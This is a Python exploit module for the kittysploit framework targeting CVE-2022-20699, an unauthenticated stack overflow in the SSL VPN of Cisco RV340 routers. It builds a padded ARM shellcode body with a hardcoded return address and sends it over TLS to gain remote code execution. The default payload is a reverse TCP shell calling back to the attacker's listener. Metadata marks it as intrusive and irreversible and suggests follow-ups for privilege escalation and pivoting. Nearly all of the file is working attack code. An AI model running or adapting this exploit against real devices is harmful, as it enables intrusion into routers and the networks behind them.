Cisco RV340 SSL VPN unauthenticated RCE (CVE-2022-20699)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# CVE-2022-20699 — Cisco RV340 SSL VPN RCE (Flashback / Metasploit-aligned).

import secrets
import socket
import ssl
import string

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    _PATH_JUNK = 0x86
    _BODY_TOTAL = 16404
    _PRE_PAD = 16400
    _THUMB_PC = b"\x99\xed\x4a\x70"
    _LOGIN_MARKER = "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server"
    _ALPHA = string.ascii_letters + string.digits

    __info__ = {
        "name": "Cisco RV340 SSL VPN unauthenticated RCE (CVE-2022-20699)",
        "description": (
            "Stack buffer overflow in SSL VPN. Sends ``self.payload`` bytes (ARM stager, "
            "optionally encoded by the framework) padded to Metasploit layout, over TLS."
        ),
        "author": [
            "Pedro Ribeiro",
            "Radek Domanski",
            "Flashback Team",
            "KittySploit Team",
        ],
        "cve": ["CVE-2022-20699"],
        "arch": [Arch.ARM],
        "platform": Platform.LINUX,
        "references": [
            "https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md",
            "https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html",
        ],
        "payload": {
            "default": "payloads/singles/cmd/armle/reverse_tcp",
            "arch": Arch.ARM,
            "platform": Platform.LINUX,
            "category": PayloadCategory.CMD,
        },
        "tags": ["cisco", "rv340", "sslvpn", "router", "rce"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(8443, "HTTPS port", True)
    ssl = OptBool(True, "HTTPS", True)

    @staticmethod
    def _as_bytes(raw) -> bytes:
        if raw is None:
            return b""
        if isinstance(raw, bytes):
            return raw
        if isinstance(raw, bytearray):
            return bytes(raw)
        if isinstance(raw, str):
            return raw.encode("latin-1", errors="replace")
        return bytes(raw)

    def _full_body(self, shellcode: bytes) -> bytes:
        if len(shellcode) > self._PRE_PAD:
            raise ValueError("payload bytes larger than exploit buffer (16400 bytes before PC)")
        pad = self._PRE_PAD - len(shellcode)
        filler = "".join(secrets.choice(self._ALPHA) for _ in range(pad)).encode("latin-1")
        return shellcode + filler + self._THUMB_PC

    def _tls_socket(self, host: str, port: int):
        raw = socket.create_connection((host, int(port)), timeout=15)
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        try:
            ctx.minimum_version = ssl.TLSVersion.TLSv1
        except Exception:
            pass
        try:
            ctx.options |= ssl.OP_LEGACY_SERVER_CONNECT
        except Exception:
            pass
        for spec in ("DEFAULT:@SECLEVEL=0", "ALL:@SECLEVEL=0"):
            try:
                ctx.set_ciphers(spec)
                break
            except Exception:
                continue
        return ctx.wrap_socket(raw, server_hostname=host)

    def check(self):
        try:
            r = self.http_request(method="GET", path="/login.html", timeout=12, allow_redirects=True)
            if r and r.status_code == 200 and self._LOGIN_MARKER in (r.text or ""):
                return {
                    "vulnerable": True,
                    "reason": "SSL VPN login page fingerprint (CVE-2022-20699 family)",
                    "confidence": "high",
                }
        except Exception as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "low"}
        return {"vulnerable": False, "reason": "SSL VPN fingerprint not matched", "confidence": "low"}

    def run(self):
        if not str(self.target or "").strip():
            print_error("target is required")
            return False

        sc = self._as_bytes(self.payload)
        if not sc:
            print_error("No payload bytes — set payload (e.g. payloads/singles/cmd/armle/reverse_tcp) and options")
            return False

        try:
            lh, lp = str(self.lhost), int(self.lport)
            if lh.strip() in ("127.0.0.1", "::1", "0.0.0.0"):
                print_warning("lhost is loopback — the router must reach your real listener IP")
            print_info(f"Using framework payload: {len(sc)} bytes → listener {lh}:{lp}")
        except Exception:
            print_info(f"Using framework payload: {len(sc)} bytes")

        rhost = str(self.target).strip()
        rport = int(self.port)

        try:
            body = self._full_body(sc)
        except Exception as exc:
            print_error(str(exc))
            return False

        if len(body) != self._BODY_TOTAL:
            print_error(f"body length {len(body)}, expected {self._BODY_TOTAL}")
            return False

        tag = "".join(secrets.choice(self._ALPHA) for _ in range(self._PATH_JUNK))
        header = f"POST /{tag} HTTP/1.1\r\nContent-Length: {self._BODY_TOTAL}\r\n\r\n".encode()

        try:
            tls = self._tls_socket(rhost, rport)
        except Exception as exc:
            print_error(f"TLS to {rhost}:{rport} failed: {exc}")
            self.not_vulnerable()
            return False

        try:
            tls.sendall(header)
            tls.sendall(body)
            print_success(f"Sent exploit ({len(header) + len(body)} bytes) — retry if no shell (stack slot ~65%)")
            self.vulnerable()
            return True
        except Exception as exc:
            print_error(str(exc))
            self.not_vulnerable()
            return False
        finally:
            try:
                tls.close()
            except Exception:
                pass